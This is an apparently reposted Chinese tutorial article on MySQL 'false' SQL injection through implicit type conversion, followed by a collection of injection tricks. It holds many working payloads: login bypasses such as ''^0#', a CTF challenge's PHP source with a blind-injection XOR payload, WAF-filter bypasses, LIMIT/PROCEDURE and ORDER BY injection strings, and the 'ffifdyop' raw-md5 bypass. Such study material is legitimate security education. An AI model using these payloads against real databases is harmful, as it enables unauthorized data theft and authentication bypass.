一、False Injection
1. 引子
首先我们常见的注入
11=1 0<1 ''=''
这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
首先抛出这么一个问题
为什么username=0会导致返回数据呢?
这就是一个基于false注入的例子,下面在举一个例子
和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。
2. MYSQL隐式类型转换
关于官方文档中的理解大致是:
如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
两个参数都是字符串,按照字符串比较。不做类型转换
两个参数都是整数,按照整数比较。不做类型转换
如果不与数字进行比较,则将十六进制值视为二进制字符串。
有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
所有其他情况下,两个参数都会被转换为浮点数再进行比较
最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败
在这里我试了试如果是字符串和数字比较:
可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。
现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。
2. 利用
实际中我们接触到的语句都是带有引号的,类似于where username=’+input+’ 这样的,这时候我们就需要做一些处理来构造false注入的利用点。
2.1. 算术运算
加:+
'+',拼接的语句:whereusername=''+''
减:-
乘:*
'*'拼接的语句:whereusername=''*''
除:/
'/6#拼接的语句:whereusername=''/6#
取余:%
'%1#拼接的语句:whereusername=''%1#
2.2. 位操作运算
我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有:
和运算:&
'&0#拼接的语句:whereusername=''&0#'
或运算:|
'|0#拼接的语句:whereusername=''|0#'
异或运算:^
'^0#拼接的语句:whereusername=''^0#'
移位操作:
'<<0#'>>0#
位非(~):这里位非运算符由于是在表达式之前的
2.3. 比较运算符
安全等于:<=>
'=0<=>1#拼接的语句:whereusername=''=0<=>1#'
不等于<>(!=)
'=0<>0#拼接的语句:whereusername=''=0<>0#'
大小于>或<
'>-1#拼接的语句:whereusername=''>-1#
2.4. 其他
1’+1 is not null# ‘in(-1,1)# ‘not in(1,0)# ‘like 1# ‘REGEXP 1# ‘BETWEEN 1 AND 1# ‘div 1# ‘xor 1# ‘=round(0,1)=’1 ‘<>ifnull(1,2)=’1
3. 综合利用
false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
这里举例一道题
<?phpinclude("config.php");$conn->query("setnamesutf8");functionrandStr($lenth=32){$strBase="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";$str="";while($lenth>0){$str.=substr($strBase,rand(0,strlen($strBase)-1),1);$lenth--;}return$str;}if($install){$sql="createtable`user`(`id`int(10)unsignedNOTNULLPRIMARYKEYAUTO_INCREMENT,`username`varchar(30)NOTNULL,`passwd`varchar(32)NOTNULL,`role`varchar(30)NOTNULL)ENGINE=MyISAMAUTO_INCREMENT=1DEFAULTCHARSET=latin1COLLATE=latin1_general_ci";if($conn->query($sql)){$sql="insertinto`user`(`username`,`passwd`,`role`)values('admin','".md5(randStr())."','admin')";$conn->query($sql);}}functionfilter($str){$filter="/|\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";if(preg_match($filter,$str)){die("youcan'tinputthisillegalchar!");}return$str;}functionshow($username){global$conn;$sql="selectrolefrom`user`whereusername='".$username."'";$res=$conn->query($sql);if($res->num_rows>0){echo"$usernameis".$res->fetch_assoc()['role'];}else{die("Don'thavethisuser!");}}functionlogin($username,$passwd){global$conn;global$flag;$username=trim(strtolower($username));$passwd=trim(strtolower($passwd));if($username=='admin'){die("youcan'tloginthisasadmin!");}$sql="select*from`user`whereusername='".$conn->escape_string($username)."'andpasswd='".$conn->escape_string($passwd)."'";$res=$conn->query($sql);if($res->num_rows>0){if($res->fetch_assoc()['role']==='admin')exit($flag);}else{echo"sorry,usernameorpasswderror!";}}functionsource(){highlight_file(__FILE__);}$username=isset($_POST['username'])?filter($_POST['username']):"";$passwd=isset($_POST['passwd'])?filter($_POST['passwd']):"";$action=isset($_GET['action'])?filter($_GET['action']):"source";switch($action){case"source":source();break;case"login":login($username,$passwd);break;case"show":show($username);break;}
我们注意到filter()函数
$filter="/|\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
这里看起来过滤的比较多,其中and,or还有\&,|都被过滤了,这个时候就可以利用false进行盲注。
可以在show函数利用查询的时候注入,
username="admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以
异或会使字符串都转为浮点型,都变为了0,由于0=0^0 -> 1^0 -> 1当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多还有就是构造的payload比较简短,例如’+’、’^’、’/4#这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。
3.1. 结合盲注
上面的例子payload就是利用字符串类型转换导致false注入结合盲注的一个过程
二、一些注入的技巧
mysql中,我们用得到的:
- 常量:true, false, null, \N, current_timestamp变量:@myvar:=1
- 系统变量:@@version, @@datadir….
- 常用函数:version(), pi(), pow(), char(), substring()
- 字符串生成:hex(), conv()
- 有关于字符串生成的一些基础字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
1. 过滤的绕过:
空格:%20,%09,%0a,%0b,%0c,%0d,%a0,还有一些可以利用括号或者注释and,or:||,&&unionselect:利用括号,'and(true)like(false)union(select(pass)from(users)),方括号union[all|distinct]selectpassfromusers#,union%a0selectpassfromusers,或者内联注释union/*&sort=*/selectpassfromusers#union:子查询进行盲注andlength((selectpassfromusershavingsubstr(pass,1,1)='a'))having:and(selectsubstr(group_concat(pass),1,1)fromusers)='aselect...from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):select[all|distinct]passfromusersselect`table_name`from`information_schema`.`tables`selectpassasaliasfromusersselectpassaliasaliasfromusersselectpass`aliasalias`fromusersselect+pass%a0from(users)select,and,&:这里就是可以利用上文中提到的false注入的方式进行绕过,具体见上文
不使用逗号:’ and substr(data from 1 for 1) = ‘a’#
2. 技巧
下面说几种不同情境的注入技巧
2.1. like
有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
2.2. Limt
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。
利用PROCEDURE 有两种方式,基于报错和时间的
基于报错:
mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);
基于时间:
SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)
2.3. order by
order by 后的数字可以作为一个注入点。具体可以看这个文章MySQL Order By 注入总结
这里可以用一些判断和返回值进行利用,
/?order=IF(11=1,name,price)通过name字段排序/?order=IF(1=2,name,price)通过price字段排序
/?order=(CASE+WHEN+(11=1)+THEN+name+ELSE+price+END)通过name字段排序/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END)通过price字段排序
/?order=IFNULL(NULL,price)通过price字段排序/?order=IFNULL(NULL,name)通过name字段排序
还可以用rand函数
/?order=rand(11=1)/?order=rand(1=2)
通常这里我们是不知道列名的,那可以通过报错进行利用
/?order=IF(11=1,1,(select+1+from+information_schema.tables))正常/?order=IF(1=2,1,(select+1+from+information_schema.tables))错误利用regexp/?order=(select+1+regexp+if(11=1,1,0x00))正常/?order=(select+1+regexp+if(1=2,1,0x00))错误利用updatexml/?order=updatexml(1,if(11=1,1,user()),1)正确/?order=updatexml(1,if(1=2,1,user()),1)错误利用extractvalue/?order=extractvalue(1,if(11=1,1,user()))正确/?order=extractvalue(1,if(1=2,1,user()))错误利用sleep()也可以....方法比较灵活
3. 有关函数
3.1. 不常用函数绕过滤
lpad(data,1,space(1))//lpad('hi',4,'?')='??hi'rpad(data,1,space(1))//rpad('hi',4,'?')='hi??'left(data,1)reverse(right(reverse(data),1))insert(insert(version(),1,0,space(0)),2,222,space(0))
3.2. 搜索匹配类的函数
'-if(locate('f',data),1,0)#'-if(locate('fo',data),1,0)#'-if(locate('foo',data),1,0)#instr(),position()
3.3. 使用函数进行字符串的切割
length(trim(leading'a'FROMdata))#lengthwillbeshorterlength(replace(data,'a',''))#lengthwillbeshorter
4. 关于php中md5的一个小技巧
PHP中这么一段sql语句
$sql="SELECT*FROMadminWHEREpass='".md5($password,true)."'";
这里是可以注入绕过的,在php关于MD5函数的介绍说:
如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是’or’
,便产生注入。
这里的原文在这
三、END
false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。
同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。
转载请注明:IT运维空间 » 安全防护 » MySQL False注入及技巧总结
发表评论